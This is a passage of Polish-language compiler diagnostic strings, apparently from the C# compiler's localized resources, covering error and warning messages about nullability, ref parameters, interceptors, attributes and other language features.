iteratora, ponieważ element „{0}” jest strukturą ref. + Parametr nie został odczytany. Czy zapomniano użyć go do zainicjowania właściwości o tej nazwie? + Wartość stałej „{0}” może przepełnić element „{1}” w czasie wykonywania (użyj składni „unchecked”, aby przesłonić) + Zdarzenie „{0}” nie jest nigdy używane + Komentarz XML nie został umieszczony w prawidłowym elemencie języka + Błąd zapisu w pliku dokumentacji XML: {0} + ogólne + 'Interfejs „{0}” z oznaczeniem „CoClassAttribute” nie ma oznaczenia „ComImportAttribute” + Nie można użyć pól elementu „{0}” jako wartości ref ani out, ponieważ jest to element „{1}” + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości „{0}” + Pole „{0}” nie jest nigdy używane + Brak odwołania do tej etykiety + „{0}” zduplikowany nazwany argument atrybutu + Nie można przywołać zmiennej typu „{0}” + Operatora „await” można używać tylko wtedy, gdy zawierająca go metoda lub wyrażenie lambda zostaną oznaczone modyfikatorem „async”. + Drzewo wyrażenia nie może zawierać literału krotki. + Wykonano porównanie z tą samą zmienną + Nie można wywołać wskaźnika funkcji przy użyciu argumentów nazwanych. + Nie można zastosować wyrażeń inicjatora obiektu i kolekcji do wyrażenia tworzenia delegata + Komentarz XML zawiera zduplikowany tag typeparam dla elementu „{0}” + „{0}”: zdefiniowane przez użytkownika konwersje na lub z typu pochodnego nie są dozwolone + Inicjator obiektu lub kolekcji niejawnie wyłuskuje składową o możliwej wartości null. + Typ nie implementuje składowej interfejsu. Obsługa wartości null dla typów referencyjnych w interfejsie implementowanym przez typ podstawowy jest niezgodna. + „{0}” nie jest prawidłowym specyfikatorem formatu + 'Element „await” nie może być używany w wyrażeniu zawierającym operator warunkowy ref + Parametr „{0}” nie został odczytany. Czy zapomniano użyć go do zainicjowania właściwości o tej nazwie? + Składowa iteratora asynchronicznego ma co najmniej jeden parametr typu „CancellationToken”, ale żaden z nich nie ma atrybutu „EnumeratorCancellation” i dlatego zostanie wykorzystany parametr tokenu anulowania z wygenerowanego elementu „IAsyncEnumerable<>.GetAsyncEnumerator” + Zestaw o tej samej prostej nazwie „{0}” został już zaimportowany. Spróbuj usunąć jedno z odwołań (np. „{1}”) lub podpisz je, aby umożliwić działanie obok siebie. + Operatora „await” nie można użyć w inicjalizatorze statycznej zmiennej skryptu. + Nie można dziedziczyć interfejsu „{0}” z określonymi typami parametrów, ponieważ spowoduje to, że metoda „{1}” będzie zawierać przeciążenia, które będą się różnić tylko parametrami ref i out + Nazwa „{0}” jest poza zakresem lewej strony operatora równości. Rozważ zamianę wyrażeń po obu stronach operatora równości. + Klasy CallerFilePathAttribute nie można zastosować, ponieważ nie ma standardowych konwersji z typu „{0}” do typu „{1}” + Identyfikator „{0}” różniący się tylko wielkością liter nie jest zgodny ze specyfikacją CLS + Nie można przekonwertować literału o wartości null na nienullowalny typ referencyjny. + Niespójność dostępności: typ właściwości „{1}” jest mniej dostępny niż właściwość „{0}” + Wartość null nie jest prawidłową nazwą parametru. Aby uzyskać dostęp do odbiorcy metody wystąpienia, użyj pustego ciągu jako nazwy parametru. + Błąd podczas otwierania pliku zasobów Win32 „{0}” — „{1}” + Pusty specyfikator formatu. + Dopuszczanie wartości null dla typu zwracanego nie jest zgodne z przesłoniętą składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Użyto operatora bitowego OR w argumencie operacji z rozszerzonym znakiem + Wynik wyrażenia jest zawsze taki sam, ponieważ wartość tego typu nigdy nie jest równa wartości „null” + Dostęp do składowej z użyciem przezroczystego identyfikatora dla pola „{0}” typu „{1}” nie powiódł się. Czy odpytywane dane implementują wzorzec zapytania? + ogólne ograniczenia typów delegowania + Dopuszczanie wartości null dla typów referencyjnych w typie parametru nie jest zgodne z zaimplementowaną składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Nie można użyć stałej liczbowej lub wzorca relacyjnego w „{0}”, ponieważ dziedziczy on lub rozszerza element "INumberBase<T>". Rozważ użycie wzorca typu w celu zawężenia do określonego typu liczbowego. + Klasy CallerLineNumberAttribute nie można zastosować, ponieważ nie ma standardowych konwersji z typu „{0}” do typu „{1}” + 'Alias zewnętrzny w tym kontekście jest nieprawidłowy + Lista wymaganych składowych dla typu podstawowego „{0}” jest źle sformułowana i nie można jej zinterpretować. Aby użyć tego konstruktora, zastosuj atrybut „SetsRequiredMembers”. + Nie można użyć obiektu „this” przed przypisaniem wszystkich jego pól. Rozważ zaktualizowanie nieprzypisanych pól do wersji językowej, aby automatycznie ustawić domyślne pola niezaznaczone. + Obie wartości operatora warunkowego muszą być wartościami ref lub żadna z nich nie może być wartością ref + Użycie wyrażenia new() jest nieprawidłowe w tym kontekście + Typu „{0}” nie można osadzić, ponieważ to jest typ zagnieżdżony. Rozważ ustawienie właściwości „Osadź typy międzyoperacyjne” na wartość false. + Nie można określić atrybutu CLSCompliant w module, który różni się od atrybutu CLSCompliant w zestawie + Obsługa wartości null dla typów odwołania w typie zwracanym jest niezgodna z metodą możliwą do przechwycenia. + Wymagana składowa „{0}” musi być ustawiona w konstruktorze inicjatora obiektów lub atrybutów. + Indeksator tablicy wbudowanej nie będzie używany na potrzeby wyrażenia dostępu do elementu. + {0}. Patrz także błąd CS{1}. + Nieprawidłowy typ podstawowy + Wymagana składowa „{0}” nie może być mniej widoczna lub mieć metody ustawiającej mniej widocznej niż typ zawierający „{1}”. + Nazwa typu „{0}” nie istnieje w typie „{1}” + Dla następującego tagu Include nie znaleziono żadnych zgodnych elementów + Funkcja „{0}” jest eksperymentalna i nieobsługiwana. Aby ją włączyć, użyj parametru „/features:{1}”. + Automatycznie zaimplementowana właściwość jest odczytywana przed jawnym przypisaniem, co powoduje wcześniejsze niejawne przypisanie elementu „default”. + Typ przesłania metodę Object.Equals(object o), ale nie przesłania metody Object.GetHashCode() + strumienie asynchroniczne + Nie można niejawnie przekonwertować wartości „goto case” na typ przełącznika + Określono opcję kompilatora /doc, ale co najmniej jedna konstrukcja nie ma komentarzy. + „{0}”: nie można przesłonić odziedziczonej składowej „{1}”, ponieważ nie została ona oznaczona przy użyciu słowa kluczowego „virtual”, „abstract” ani „override” + Nazwa parametru „{0}” jest duplikatem + „{0}”: modyfikatory dostępu są niedozwolone dla konstruktorów statycznych + Nie używaj elementu „System.Runtime.CompilerServices.RequiredMemberAttribute”. Zamiast tego użyj słowa kluczowego „required” w wymaganych polach i właściwościach. + Nieoczekiwane użycie niepowiązanej nazwy ogólnej + Modyfikator "ref" dla argumentu odpowiadającego parametrowi "in" jest równoważny wartości "in". Zamiast tego rozważ użycie elementu "in". + Metoda dostępu „{0}” nie może implementować składowej interfejsu „{1}” dla typu „{2}”. Należy użyć implementacji interfejsu jawnego. + Obie deklaracje metody częściowej muszą być metodami rozszerzenia albo żadna z nich nie może być metodą rozszerzenia. + Oczekiwano instrukcji „catch” lub „finally”. + Wyrażenie new wymaga listy argumentów lub znaków (), [] lub {} po typie. + Zmienna jest zadeklarowana, ale nie jest nigdy używana + Element '{0}' jest zdefiniowany w module z nierozpoznaną wersją RefSafetyRulesAttribute, oczekiwano „11”. + Napotkano znacznik końca pliku. Oczekiwano znaków "*/". + Nie można odwołać się do kompilacji typu „{0}” z kompilacji {1}. + Dla parametru "ref readonly" określono wartość domyślną, ale element "ref readonly" powinien być używany tylko dla odwołań. Rozważ zadeklarowanie parametru jako "in". + 'Element „{0}” ukrywa odziedziczoną składową „{1}”. Aby przesłonić tę implementację bieżącą składową, dodaj słowo kluczowe override. W przeciwnym razie dodaj słowo kluczowe new. + 'Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może implementować składowej interfejsu, ponieważ jest niepubliczna. + Nie można użyć typu pliku lokalnego „{0}” w sygnaturze elementu składowego w typie innym niż plik lokalny „{1}”. + Interfejs „{0}” nie może być używany jako argument typu. Składowa statyczna „{1}” nie ma najbardziej specyficznej implementacji w interfejsie. + Oczekiwano elementu SemanticModel {0}. + wyrażenie warunkowe ref + operator domyślny + Nie można przypisać wyrażenia typu „void”. + domyślny literał + Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może implementować elementu „{1}”. + Wyrażenie typu „{0}” nie może być obsługiwane przez wzorzec typu „{1}”. + Nie można użyć obiektu „this” przed przypisaniem wszystkich jego pól. Rozważ zaktualizowanie nieprzypisanych pól do wersji językowej „{0}”, aby automatycznie ustawić domyślne pola niezaznaczone. + Określono opcje powodujące konflikt: plik zasobów Win32; ikona Win32. + Atrybut jest ignorowany w przypadku określenia podpisywania publicznego. + Nazwa typu „{0}” jest zarezerwowana do użycia przez kompilator. + Obsługa wartości null dla typów referencyjnych w jawnym specyfikatorze interfejsu jest niezgodna z interfejsem implementowanym przez typ. + Punkty wejścia aplikacji nie mogą mieć atrybutu „UnmanagedCallersOnly”. + Nazwa „{0}” jest poza zakresem prawej strony operatora równości. Rozważ zamianę wyrażeń po obu stronach operatora równości. + „{0}”: nie można zmienić nazw elementów krotki w przypadku przesłaniania dziedziczonej składowej „{1}” + Całkowita długość ciągów użytkownika używanych przez program przekracza dozwolony limit. Spróbuj ograniczyć użycie literałów ciągów. + Oczekiwano znaku { + Sufiks „l” można łatwo pomylić z cyfrą „1” + Nieoczekiwany znak w tej lokalizacji. + Oczekiwano ciągu „>” lub „/>” zamykającego tag „{0}”. + Zgłoszona wartość może być równa null. + Parametr typu nie ma zgodnego tagu typeparam w komentarzu XML (ale inne parametry mają ten tag) + akcja warning: enable + Definiowanie aliasu o nazwie „global” jest niezalecane, ponieważ łańcuch „global::” zawsze odwołuje się do globalnej przestrzeni nazw, a nie do aliasu + Zastosowanie elementu CallerMemberNameAttribute do parametru „{0}” nie odniesie żadnego skutku, ponieważ dotyczy składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Parametr „{0}” konstruktora atrybutu jest typu „{1}”, który nie jest prawidłowym typem parametru atrybutu + Nieprawidłowy modyfikator wariancji. Jako wariant można określić tylko parametry typu interface i delegate. + Parametr musi mieć wartość inną niż null podczas kończenia działania w pewnym stanie. + Wzorców relacyjnych nie można używać na potrzeby wartości typu „{0}”. + Dziedziczenie z rekordu z zapieczętowanym obiektem "Object.ToString" nie jest obsługiwane w języku C# {0}. Użyj wersji języka "{1}" lub nowszej. + Przeciążona metoda różniąca się tylko parametrem ref lub out albo rangą tablicy nie jest zgodna ze specyfikacją CLS + „{0}”: pole nietrwałe nie może być typu „{1}” + W wyrażeniu stackalloc po nazwie typu wymagane jest użycie specyfikatora []. + Nieprawidłowy deklarator składowej typu anonimowego. Składowe typu anonimowego muszą być deklarowane przy użyciu przypisania składowej, nazwy prostej lub dostępu do składowej. + Spójna kolekcja nie może zawierać wartości typu „void”. + Nie można określić atrybutu Out dla parametru ref bez określania także atrybutu wejściowego. + Plik źródłowy „{0}” jest określony wiele razy + Składowych właściwości „{0}” typu „{1}” nie można przypisać za pomocą inicjatora obiektu, ponieważ jest on typu wartości + collection expressions + „{0}”: struktury nie mogą wywoływać konstruktorów klasy bazowej + Typ nie zawiera implementacji wzorca kolekcji; składowe są niejednoznaczne + Słowo kluczowe stackalloc nie może być używane w bloku catch lub finally + Oczekiwano literału ciągu, lecz nie znaleziono otwierającego znaku cudzysłowu. + 'Element „{0}” nie może być zewnętrzny ani deklarować treści + <wyrażenie przełącznika> + Nieprawidłowe wyrażenie preprocesora + W bieżącym kontekście słowo kluczowe „this” jest niedostępne + zwracany typ lambda + Element SyntaxTree jest wynikiem dyrektywy #load i nie można go bezpośrednio usunąć ani zastąpić. + Nierozpoznana dyrektywa #pragma + Typ anonimowy nie może mieć wielu właściwości o tej samej nazwie. + Parametr typu „{1}” ma ograniczenie „unmanaged”, dlatego elementu „{1}” nie można użyć jako ograniczenia dla elementu „{0}” + Długość nazwy „{0}” przekracza maksymalną długość dozwoloną w metadanych. + Za pomocą dyrektywy „using static” nie można deklarować aliasu + Wykonano przypisanie do tej samej zmiennej. Czy chcesz przypisać coś innego? + Zdarzenie nie jest nigdy używane + Nie można zadeklarować interceptora w globalnej przestrzeni nazw. + Asynchroniczna instrukcja foreach nie może operować na zmiennych typu „{0}”, ponieważ typ „{0}” nie zawiera odpowiedniego publicznego wystąpienia lub definicji rozszerzenia dla elementu „{1}” + Zdarzenie „{0}” może pojawić się tylko po lewej stronie wyrażenia += lub -=. + Domyślna wartość parametru nie jest zgodna w docelowym typie delegata. + Tag Include jest nieprawidłowy + wskaźniki funkcji + Funkcja przesyłania dalej dla typu „{0}” w zestawie „{1}” powoduje wystąpienie cyklu + Typ „{0}” już zawiera definicję dla „{1}” + Drzewo wyrażenia nie może zawierać połączenia lub wywołania, które używa argumentów opcjonalnych + Nie można zastosować operatora „{0}” do operandu „{1}” + Nie można otworzyć pliku metadanych „{0}” — {1} + Porównanie z wartością null typu „{0}” zawsze daje wartość „false” + moduł jako specyfikator elementu docelowego atrybutu + wzorce rekursywne + To ostrzeżenie może zostać wygenerowane, gdy dwie metody interfejsu różnią się tylko oznaczeniem określonego parametru specyfikatorem ref lub out. Aby zapobiec występowaniu tego ostrzeżenia, zmień kod, ponieważ nie można jednoznacznie określić ani zagwarantować, która metoda zostanie wywołana w czasie wykonywania. + +Język C# rozróżnia specyfikatory out i ref, jednak dla środowiska CLR są one takie same. Wybiera ono dowolny z nich podczas określania, która metoda zawiera implementację interfejsu. + +Musisz umożliwić kompilatorowi rozróżnienie metod. Możesz na przykład nadać im różne nazwy lub określić dla jednej z nich dodatkowy parametr. + Nie można użyć dyrektywy #r po pierwszym tokenie w pliku + Element „{0}” nie implementuje składowej interfejsu wystąpienia „{1}”. Element „{2}” nie może zaimplementować składowej interfejsu, ponieważ jest ona statyczna. + Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może niejawnie zaimplementować niepublicznego elementu członkowskiego w języku C# {3}. Użyj wersji językowej „{4}” lub nowszej. + Zwraca parametr przez odwołanie „{0}”, ale nie jest to parametr ref + Nie można zainicjować zmiennej dostępnej przez odwołanie za pomocą wartości + argument nazwany + Typ zwracany może mieć tylko jeden modyfikator „{0}”. + Wstępnie zdefiniowany typ „{0}” jest zdefiniowany w wielu zestawach aliasu globalnego. Zostanie użyta definicja z elementu „{1}”. + Drzewo wyrażenia lambda nie może zawierać wywołania metody, właściwości ani indeksatora, który zwraca wartość przez referencję + pola automatycznej struktury domyślnej + Metoda częściowa nie może mieć modyfikatora „abstract” + Element „{0}” występuje już na liście interfejsów dla typu „{1}” z inną obsługą wartości null typów referencyjnych. + Brak znaku równości między atrybutem i wartością atrybutu. + Nie można zaktualizować, ponieważ zmienił się wywnioskowany typ delegata. + Nie można dekonstruować krotki „{0}” elementów do „{1}” zmiennych. + 'Element „{0}” nie implementuje odziedziczonej abstrakcyjnej składowej „{1}” + Wiele plików konfiguracji analizatora nie może znajdować się w tym samym katalogu („{0}”). + Funkcja języka "Inline arrays" nie jest obsługiwana w przypadku wbudowanych typów tablic z polem elementu, które jest polem "ref" lub ma typ, który nie jest prawidłowy jako argument typu. + Element „{0}” nie może być zapieczętowany, ponieważ zawierający go rekord nie jest zapieczętowany. + Nie można utworzyć wystąpienia typu zmiennej „{0}”, ponieważ nie ma ograniczenia new() + Typu elementu „{0}” nie można wywnioskować, ponieważ jego inicjator bezpośrednio lub pośrednio przywołuje definicję. + „{0}”: docelowe środowisko uruchomieniowe nie obsługuje typów kowariantnych w przesłonięciach. Typem musi być „{2}”, aby zachować zgodność z przesłoniętą składową „{1}”. + element #load jest dozwolony tylko w skryptach + Przeciążona metoda „{0}” różniąca się tylko nienazwanymi typami tablicy nie jest zgodna ze specyfikacją CLS + Modyfikator rodzaju odwołania parametru nie jest zgodny z odpowiadającym mu parametrem w przesłoniętym lub zaimplementowanym elemencie członkowskim. + Ta wartość ref przypisuje wartość, która ma szerszy zakres ucieczki wartości niż wartość docelowa, umożliwiając przypisanie za pośrednictwem wartości docelowej wartości z węższymi zakresami ucieczki. + Zdarzenie-pole „{0}” nie może być zadeklarowane jako „readonly”. + Argument atrybutu musi być wyrażeniem stałej, wyrażeniem TypeOf lub wyrażeniem tworzenia tablicy typu parametru atrybutu + struktury tylko do odczytu + <wyrażenie throw> + typy częściowe + Dane wyrażenie nigdy nie jest zgodne z podanym wzorcem. + Ogólny parametr jest definicją, a oczekiwano odwołania {0} + An expression tree may not contain a collection expression. + Wartość zwracana musi być inna niż null, ponieważ parametr „{0}” ma wartość inną niż null. + Składnia „var (...)“ jako wartość lvalue jest zastrzeżona. + Element „{0}” nie przesłania oczekiwanej metody z elementu „{1}” + Składowa struktury zwraca element „this” lub inne składowe wystąpienia według odwołania + Opcja /noconfig zostanie zignorowana, ponieważ została określona w pliku odpowiedzi + Atrybut "{0}" nie implementuje statycznej składowej interfejsu "{1}". Atrybut "{2}" nie może zaimplementować składowej interfejsu, ponieważ nie jest ona statyczna. + „{0}”: właściwość ani indeksator nie mogą być typu void + „{0}”: nie można przesłonić odziedziczonej składowej „{1}”, ponieważ jest ona zapieczętowana + Iteratory nie mogą mieć parametrów ref, in ani out. + Właściwość indeksowana „{0}” musi mieć wszystkie argumenty opcjonalne + Pole „{0}” musi być w pełni przypisane, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie pola do wersji językowej „{1}”, aby automatycznie ustawić domyślne pole. + Obie częściowe deklaracje metod muszą mieć taki sam zwracany typ. + Niespójne użycie parametrów lambda. Wszystkie typy parametrów muszą być albo jawne, albo niejawne. + Nie można załadować zestawu analizatora + Nie można wywnioskować typu odrzucenia o typie określonym niejawnie. + Typ „{0}” na liście interfejsów nie jest interfejsem + Podpisy metody możliwej do przechwycenia i metody interceptora nie są zgodne. + Nieoczekiwane słowo kluczowe „record”. Czy chodziło o „record struct” lub „record class”? + element + Funkcja „sprawdzanie wartości null parametru” nie jest obsługiwana. + Parametr __arglist musi być ostatnim parametrem formalnej listy parametrów + {0} nie jest prawidłową złożoną operacją przypisania w języku C# + Drzewo wyrażenia nie może zawierać operatora zgodnego z wzorcem „is”. + Nie można użyć konstruktora atrybutu „{0}”, ponieważ ma on parametry „in” lub „ref readonly”. + zmienna iteracji foreach odwołania + Niejednoznaczne zdefiniowane przez użytkownika konwersje „{0}” i „{1}” podczas konwertowania z „{2}” na „{3}”. + Nie można osadzić typu międzyoperacyjnego „{0}”. Użyj zamiast tego odpowiedniego interfejsu. + Wyrażenie musi być typu „{0}”, ponieważ jest przypisywane przez referencję + Zestaw nie zawiera analizatorów + Żadne z przeciążeń dla elementu „{0}” nie pasuje do wskaźnika funkcji „{1}” + Indeksowanie tablicy z ujemnym indeksem + Właściwości zwracające wartość przez referencję nie mogą mieć metod dostępu set + Błąd składni wiersza polecenia: brak elementu „:<liczba>” dla opcji „{0}” + Odwołanie do typu „{0}” określa, że jest zdefiniowane w elemencie „{1}”, lecz nie można go znaleźć + Prawdopodobnie niepoprawne przypisanie do elementu lokalnego „{0}”, który jest argumentem instrukcji using lub lock. Wywołanie metody Dispose lub odblokowanie nastąpi dla oryginalnej wartości elementu lokalnego. + Nie można przekonwertować krotki z {0} elementami na typ „{1}”. + Znaku „<” nie można użyć w wartości atrybutu. + Przyjmuje adres, pobiera rozmiar lub deklaruje wskaźnik do typu zarządzanego („{0}”) + Konstruktor kopiujący w rekordzie musi wywoływać konstruktor kopiujący elementu podstawowego lub bezparametrowy konstruktor obiektu, jeśli rekord dziedziczy z obiektu. + Nieprawidłowa składnia sumy kontrolnej #pragma checksum; powinna być następująca: #pragma checksum "nazwa_pliku" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + niezmiennie + Element „{0}” jest przeznaczony wyłącznie do celów ewaluacyjnych i może zostać zmieniony albo usunięty w przyszłych aktualizacjach. Wstrzymaj tę diagnostykę, aby kontynuować. + Pozycja nie znajduje się w drzewie składni o pełnym zasięgu {0} + Nie można zdefiniować nowej metody rozszerzenia, ponieważ nie można odnaleźć wymaganego przez kompilator typu „{0}”. Czy brakuje odwołania do System.Core.dll? + Nullowalność typów referencyjnych w zwracanym typie jest niezgodna z częściową deklaracją metody. + Aby istniała możliwość zastosowania zdefiniowanego przez użytkownika operatora logicznego („{0}”) jako operatora „short circuit”, musi on mieć taki sam typ zwracany i typy parametrów + Wykonano porównanie z tą samą zmienną. Czy chcesz porównać coś innego? + nowe wiersze w interpolacjach + Modyfikator „scoped” nie może być używany z odrzuceniem. + Identyfikator różniący się tylko wielkością liter nie jest zgodny ze specyfikacją CLS + Parametr {0} ma modyfikator params w wyrażeniu lambda, ale nie ma w docelowym typie delegata. + Nieprawidłowy literał liczby rzeczywistej. + Nie można użyć instrukcji fixed do pobrania adresu już ustalonego wyrażenia + 'Element „{0}” nie ma dostępnych konstruktorów używających tylko typów zgodnych ze specyfikacją CLS + Obliczenie wyrażenia ze stałą dziesiętną nie powiodło się + Parametr „{0}” musi mieć wartość inną niż null podczas kończenia działania z wartością „{1}”. + wzorzec listy + Etykieta „{0}” jest duplikatem + Nie można przypisać do pola tylko do odczytu (poza konstruktorem lub metodą ustawiającą tylko do inicjowania typu, w której pole jest zdefiniowane, lub inicjatorze zmiennej) + Niedopuszczający wartości null element {0} „{1}” musi zawierać wartość inną niż null podczas kończenia działania konstruktora. Rozważ zadeklarowanie elementu {0} jako dopuszczającego wartość null. + Alias użycia „{0}” pojawił się poprzednio w tej przestrzeni nazw + Argument „{0}” musi być przekazywany ze słowem kluczowym „{1}” + Nie można użyć podstawowego parametru konstruktora typu „{0}” wewnątrz składowej wystąpienia + Zastosowany atrybut CallerArgumentExpressionAttribute do parametru "{0}" nie odniesie żadnego skutku. Jest on zastępowany przez atrybut CallerMemberNameAttribute. + Nullowalność typów referencyjnych w zwracanym typie jest niezgodna z częściową deklaracją metody. + Nieprawidłowa wartość nazwanego argumentu atrybutu „{0}” + Zduplikowane ograniczenie „{0}” dla parametru typu „{1}” + Do składowych pola tylko do odczytu „{0}” typu „{1}” nie można przypisać inicjatora obiektu, ponieważ jest ono typu wartości + Zdarzenia podobne do pól nie są dozwolone w strukturach tylko do odczytu. + Nazwa elementu krotki „{0}” została zignorowana, ponieważ po drugiej stronie operatora == lub != krotki określono inną nazwę lub nie określono żadnej nazwy. + Modyfikatora „async” można używać tylko w metodach mających treść. + Wyrażenie switch nie obsługuje niektórych danych wejściowych o wartości null. + Częściowe deklaracje elementu „{0}” nie mogą określać różnych klas bazowych + 'Element „{0}” jest niedostępny z powodu swojego poziomu ochrony. + Operator pominięcia jest niedozwolony w tym kontekście + Dziedziczone składowe „{0}” i „{1}” mają tę samą sygnaturę w typie „{2}”, dlatego nie mogą być przesłaniane + Dostęp indeksatora musi być przydzielany dynamicznie, ale jest to niemożliwe, ponieważ jest częścią wyrażenia dostępu bazowego. Rozważ możliwość rzutowania argumentów dynamicznych lub wykluczenia dostępu bazowego. + „{0}” nie ma odpowiedniej metody o nazwie „{1}”, ale wygląda na to, że ma metodę rozszerzenia o tej nazwie. Metody rozszerzenia nie mogą być przydzielane dynamicznie. Rozważ rzutowanie dynamicznych argumentów lub wywołanie metody rozszerzenia bez składni metody rozszerzenia. + „{0}”: właściwości abstrakcyjne nie mogą mieć prywatnych metod dostępu + 'Podane wyrażenie wyrażenia „is” nigdy nie ma podanego typu + Indeksator tablicy wbudowanej nie będzie używany na potrzeby wyrażenia dostępu do elementu. + Docelowe środowisko uruchomieniowe nie obsługuje statycznych składowych abstrakcyjnych w interfejsach. + Określony ciąg wersji „{0}” nie jest zgodny z wymaganym formatem — major.minor.build.revision (bez znaków wieloznacznych) + Nie używaj atrybutu „System.Runtime.CompilerServices.FixedBuffer” względem właściwości + Błąd podczas otwierania pliku manifestu Win32 {0} — {1} + Atrybut UnscopedRefAttribute można stosować tylko do metod i właściwości wystąpienia struktury i nie można go stosować do konstruktorów ani składowych tylko do inicjowania. + „{0}” to nowa wirtualna składowa typu zapieczętowanego „{1}” + Obsługa wartości null dla typów referencyjnych w typie parametru jest niezgodna z częściową deklaracją metody. + Drzewo wyrażenia nie może zawierać właściwości indeksowanej + Nieprawidłowa składnia sumy kontrolnej #pragma + Nieprzetworzony literał ciągu nie rozpoczyna się od wystarczającej liczby znaków cudzysłowu, aby umożliwić używanie tak wielu kolejnych znaków cudzysłowu jako zawartości. + Kombinacja opcji elementu LookupOptions jest nieprawidłowa + Oczekiwano inicjatora tablicy o długości „{0}” + Nie można zwrócić pola tylko do odczytu przez zapisywalne odwołanie + rozszerzalna instrukcja fixed + Drzewo wyrażeń nie może zawierać wyrażenia „od końca indeksu” („^”). + tablice śródwierszowe + Wyrażenie switch lub etykieta case musi być wartością logiczną, znakiem, ciągiem, liczbą całkowitą, wyliczeniem lub odpowiadającym typem dopuszczającym wartość null w języku C# 6 i wcześniejszych wersjach. + Lokalizacja musi być określona, aby zapewnić minimalną kwalifikację typu. + Dodane moduły muszą być oznaczone atrybutem CLSCompliant, aby były zgodne z zestawem + Typ „{2}” musi być typem referencyjnym, aby można było używać go jako parametru „{1}” w typie ogólnym lub metodzie ogólnej „{0}”. + Przesłanie może zawierać tylko kod skryptu. + Rekord definiuje element „Equals”, lecz nie element „GetHashCode”. + „{0}”: nie można przesłonić, ponieważ element „{1}” nie ma metody dostępu get, którą można przesłonić + Poprzednia klauzula catch przechwytuje już wszystkie wyjątki + indeksowanie możliwych do przenoszenia buforów fixed + 'Plik „{0}” jest plikiem binarnym, a nie plikiem tekstowym + Atrybuty docelowe dla pól w ramach właściwości automatycznych nie są obsługiwane w tej wersji języka. + Wyrażenie switch musi być wartością; znaleziono element „{0}”. + Nie można przypisać elementu {0} do właściwości typu anonimowego + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości + Nie można otworzyć „{0}” do zapisu — „{1}” + Jawna implementacja operatora zdefiniowanego przez użytkownika „{0}” musi być zadeklarowana jako statyczna + Prawdopodobnie omyłkowo wystąpiła pusta instrukcja + Nie można utworzyć delegata z metody „{0}”, ponieważ jest to metoda częściowa bez deklaracji implementującej. + Nie przesłaniaj metody object.Finalize. Zamiast tego udostępnij destruktor. + konstruktor i destruktor treści wyrażenia + wzorzec relacyjny + Obsługa wartości null dla typów referencyjnych w typie zwracanym jest niezgodna z przesłoniętą składową. + Oczekiwano nazwy pliku w cudzysłowie, jednowierszowego komentarza lub końca wiersza + Składowa „{0}” musi mieć wartość inną niż null podczas kończenia działania z wartością „{1}”. + Komentarz XML zawiera atrybut cref „{0}” przywołujący parametr typu + W delegacie „{0}” brak prawidłowego konstruktora. + ref readonly parameters + Dekonstrukcja musi zawierać co najmniej dwie zmienne. + Metody rozszerzenia „{0}” zdefiniowanej dla typu wartości „{1}” nie można użyć do tworzenia delegatów + Niespójność dostępności: klasa bazowa „{1}” jest mniej dostępna niż klasa „{0}” + Instrukcja goto case jest prawidłowa tylko wewnątrz instrukcji switch + Zwraca to przez odwołanie składową parametru „{0}” za pomocą parametru ref, ale można ją bezpiecznie zwrócić tylko w instrukcji return + Klasa System.Object nie może mieć klasy bazowej ani implementować interfejsu + Użyto nieprzypisanej zmiennej lokalnej + Statyczna funkcja anonimowa nie może zawierać odwołania do elementu „this” lub „base”. + „{0}”: nie można zmienić modyfikatorów dostępu podczas przesłaniania elementu „{1}” dziedziczoną składową „{2}” + Indeksowanie nie może być typu void + Niespójność dostępności: typ parametru „{1}” jest mniej dostępny niż operator „{0}” + Element „{0}” musi odpowiadać zmiennymi tylko do inicjowania przesłoniętej składowej „{1}” + Pole stałej wymaga podania wartości + Nie można przywrócić ostrzeżenia „CS{0}”, ponieważ zostało wyłączone globalnie + Wprowadzenie metody „Finalize” może zakłócać wywołanie destruktora. Czy zamierzane było zadeklarowanie destruktora? + Składowa elementu „{0}” jest zwracana przez odwołanie, ale została zainicjowana do wartości, która nie może być zwracana przez odwołanie + Dopuszczanie wartości null dla typu zwracanego nie jest zgodne z przesłoniętą składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Typy i aliasy nie powinny mieć nazwy „record”. + Treść elementu „{0}” nie może być blokiem iteratora, ponieważ element „{0}” zwraca wartość przez referencję + Wewnątrz konstrukcji [] występuje niewłaściwa liczba indeksów. Oczekiwana liczba: {0} + Określono podpisywanie opóźnione wymagające klucza publicznego, ale nie określono klucza publicznego + Metoda z oznaczeniem [DoesNotReturn] nie powinna zwracać wartości. + W wyrażeniu występuje nieprawidłowe określenie „{0}” + Modyfikator dostępności dla metody dostępu „{0}” musi być bardziej restrykcyjny niż właściwość lub indeksator „{1}” + Atrybut CallerFilePathAttribute można stosować wyłącznie do parametrów mających wartości domyślne. + Brak specyfikacji pliku dla opcji „{0}” + Deklaracje metody częściowej muszą mieć pasujące wartości zwracane przez odwołanie. + Oczekiwano nazwy pliku w cudzysłowach + Zduplikowana konwersja zdefiniowana przez użytkownika w typie „{0}” + Oczekiwano typu byte, sbyte, short, ushort, int, uint, long lub ulong. + Kontrolka jest zwracana do obiektu wywołującego przed jawnym przypisaniem właściwości „{0}”, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + Nieoczekiwane użycie nazwy ogólnej + 'Element „{0}” nie wymaga atrybutu CLSCompliant, ponieważ zestaw nie ma atrybutu CLSCompliant + Sygnatura „{0}” zarządzanej klasy otoki coclass dla interfejsu „{1}” nie jest prawidłową sygnaturą nazwy klasy. + Typ „{1}” istnieje zarówno w elemencie „{0}”, jak i „{2}” + Typ „{0}” nie może być używany w tym kontekście, ponieważ nie może być reprezentowany w metadanych. + Możliwy argument odwołania o wartości null dla parametru „{0}” w „{1}”. + Typ powoduje konflikt z zaimportowanym typem + Oczekiwano stałej wartości typu '{0}' + Nie można utworzyć konstruowanego typu ogólnego z typu nieogólnego. + W przypadku znaku „{0}” ucieczkę można zastosować tylko przez wpisanie dwóch znaków „{0}{0}” w ciągu interpolowanym. + Nieprawidłowy element include w kodzie 